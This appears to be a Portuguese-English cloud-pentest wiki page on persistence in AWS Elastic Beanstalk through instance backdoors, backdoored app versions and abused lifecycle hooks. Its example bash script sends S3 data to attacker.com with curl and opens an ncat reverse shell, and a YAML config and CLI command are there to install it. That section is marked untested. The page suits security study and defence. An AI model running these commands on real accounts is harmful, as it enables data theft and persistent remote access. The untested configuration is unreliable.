AWS - Elastic Beanstalk Persistência

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Elastic Beanstalk

Para mais informações, veja:

AWS - Elastic Beanstalk Enum

Para manter persistência dentro da conta AWS, algum mecanismo de persistência poderia ser introduzido dentro da instância (cron job, ssh key...) para que o atacante possa acessá-la e roubar IAM role credentials from the metadata service.

Backdoor na Versão

Um atacante poderia inserir um backdoor no código dentro do S3 repo para que ele sempre execute o backdoor e o código esperado.

Nova versão backdoored

Em vez de alterar o código na versão atual, o atacante poderia implantar uma nova versão backdoored da aplicação.

Abusando de Custom Resource Lifecycle Hooks

note

TODO: Test

Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. Um atacante poderia configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account.

bash

# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"

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